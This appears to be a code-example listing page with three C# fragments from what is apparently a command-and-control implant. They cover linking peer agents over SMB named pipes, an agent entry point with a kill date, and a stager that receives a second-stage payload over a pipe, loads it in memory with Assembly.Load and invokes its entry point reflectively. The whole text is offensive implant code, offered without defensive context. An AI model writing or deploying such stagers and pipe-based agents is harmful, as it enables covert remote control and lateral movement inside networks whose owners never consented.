Beispiel #1
0
    private void LinkSmbAgent(byte[] data)
    {
        var args     = Encoding.UTF8.GetString(data).Split(' ');
        var hostname = args[0];
        var pipename = args[1];

        var module = new SmbCommModule(hostname, pipename);

        Agent.AddP2PAgent(hostname, module);
    }
Beispiel #2
0
    public static void SmbEntryPoint(string agentID, string parentAgentID, DateTime killDate, string pipeName)
    {
        AgentID       = agentID;
        ParentAgentID = parentAgentID;

        var config = new ConfigController();

        config.SetOption(ConfigSetting.KillDate, killDate);

        var commModule = new SmbCommModule(pipeName);

        StartAgent(config, commModule);
    }
Beispiel #3
0
    public static void Execute()
    {
        AgentID = Misc.GeneratePseudoRandomString(8);

        var crypto = new CryptoController();

        try
        {
            var commModule = new SmbCommModule(Pipename);
            commModule.SetMetadata(AgentID);
            commModule.Start(crypto);

            while (StagerStatus == StagerStatus.Staging)
            {
                if (commModule.RecvData(out AgentMessage message) == true)
                {
                    if (message.Data != null && message.Data.Command.Equals("IncomingLink", StringComparison.OrdinalIgnoreCase))
                    {
                        commModule.SetParentID(Encoding.UTF8.GetString(message.Data.Data));
                        commModule.QueueStageRequest();
                    }
                    else if (message.Data.Command.Equals("StageOne", StringComparison.OrdinalIgnoreCase))
                    {
                        StagerStatus = StagerStatus.Staged;
                        commModule.Stop();

                        var asm      = Assembly.Load(message.Data.Data);
                        var type     = asm.GetType("AgentStage");
                        var instance = Activator.CreateInstance(type);

                        var parentID = commModule.GetParentID();

                        type.InvokeMember(
                            "SmbEntryPoint",
                            BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod,
                            null,
                            instance,
                            new object[] { AgentID, parentID, KillDate, Pipename });
                    }
                }
            }
        }
        catch (Exception e)
        {
            Console.Error.WriteLine(e.StackTrace);
        }
    }